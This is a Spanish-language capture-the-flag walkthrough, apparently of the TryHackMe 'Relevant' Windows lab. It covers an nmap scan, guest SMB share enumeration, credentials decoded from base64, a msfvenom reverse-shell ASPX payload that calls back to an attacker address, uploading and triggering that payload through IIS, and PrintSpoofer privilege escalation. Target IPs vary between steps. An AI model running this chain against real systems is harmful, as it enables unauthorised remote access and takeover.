Relevant

Subir archivos por smb (READ,WRITE)

Puertos abiertos:

      │ File: targeted
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.95 scan initiated Mon Jun  9 15:10:49 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p80,135,139,445,3389,49663,49666,49667 -oN targeted 10.10.136.91
   2   │ Nmap scan report for 10.10.136.91
   3   │ Host is up (0.17s latency).
   4   │ 
   5   │ PORT      STATE SERVICE       VERSION
   6   │ 80/tcp    open  http          Microsoft IIS httpd 10.0
   7   │ | http-methods: 
   8   │ |_  Potentially risky methods: TRACE
   9   │ |_http-server-header: Microsoft-IIS/10.0
  10   │ |_http-title: IIS Windows Server
  11   │ 135/tcp   open  msrpc         Microsoft Windows RPC
  12   │ 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
  13   │ 445/tcp   open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: WORKGROUP)
  14   │ 3389/tcp  open  ms-wbt-server Microsoft Terminal Services
  15   │ |_ssl-date: 2025-06-09T15:12:29+00:00; +1s from scanner time.
  16   │ | rdp-ntlm-info: 
  17   │ |   Target_Name: RELEVANT
  18   │ |   NetBIOS_Domain_Name: RELEVANT
  19   │ |   NetBIOS_Computer_Name: RELEVANT
  20   │ |   DNS_Domain_Name: Relevant
  21   │ |   DNS_Computer_Name: Relevant
  22   │ |   Product_Version: 10.0.14393
  23   │ |_  System_Time: 2025-06-09T15:11:49+00:00
  24   │ | ssl-cert: Subject: commonName=Relevant
  25   │ | Not valid before: 2025-06-08T15:06:33
  26   │ |_Not valid after:  2025-12-08T15:06:33
  27   │ 49663/tcp open  http          Microsoft IIS httpd 10.0
  28   │ | http-methods: 
  29   │ |_  Potentially risky methods: TRACE
  30   │ |_http-title: IIS Windows Server
  31   │ |_http-server-header: Microsoft-IIS/10.0
  32   │ 49666/tcp open  msrpc         Microsoft Windows RPC
  33   │ 49667/tcp open  msrpc         Microsoft Windows RPC
  34   │ Service Info: Host: RELEVANT; OS: Windows; CPE: cpe:/o:microsoft:windows
  35   │ 
  36   │ Host script results:
  37   │ | smb-security-mode: 
  38   │ |   account_used: guest
  39   │ |   authentication_level: user
  40   │ |   challenge_response: supported
  41   │ |_  message_signing: disabled (dangerous, but default)
  42   │ | smb-os-discovery: 
  43   │ |   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
  44   │ |   Computer name: Relevant
  45   │ |   NetBIOS computer name: RELEVANT\x00
  46   │ |   Workgroup: WORKGROUP\x00
  47   │ |_  System time: 2025-06-09T08:11:52-07:00
  48   │ | smb2-security-mode: 
  49   │ |   3:1:1: 
  50   │ |_    Message signing enabled but not required
  51   │ | smb2-time: 
  52   │ |   date: 2025-06-09T15:11:50
  53   │ |_  start_date: 2025-06-09T15:06:33
  54   │ |_clock-skew: mean: 1h24m01s, deviation: 3h07m51s, median: 0s
  55   │ 
  56   │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  57   │ # Nmap done at Mon Jun  9 15:12:28 2025 -- 1 IP address (1 host up) scanned in 99.30 seconds

Como no tenemos usuarios y verificamos que tenemos el puerto 443:

nxc smb 10.10.136.91  -u 'guest' -p '' --shares

Entramos a ver el archivo q podemos leer y escribir:

smbclient  //10.10.11.71/nt4wrksv -U 'guest'

Unas credenciales en base64:

$echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d

Bob - !P@$$W0rD!123%                                                                                                                                                                                              ❯ echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d
Bill - Juw4nnaM4n420696969!$$$%

En el escaneo se observo otro puerto http abierto:

Entramos y buscamos el archivo que podemos leer y escribir y si se puede observar lo que contiene:

Generar un payload de tipo `windows/x64/shell_reverse_tcp`

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.2.131 LPORT=53 -f aspx -o rev.aspx

Ese archivo malicioso lo subimos por smbclient:

smbclient  //10.10.4.55/nt4wrksv -U 'guest'

Por último lo ejecutamos a través de la Web:

http://10.10.4.55:49663/nt4wrksv/rev.aspx

Escalada de privilegios:

GitHub - dievus/printspooferGitHub

PrintSpoofer.exe -i -c cmd

PreviousTryHackMe NextLinks

Last updated 8 months ago

hashtagGenerar un payload de tipo windows/x64/shell_reverse_tcp

Generar un payload de tipo `windows/x64/shell_reverse_tcp`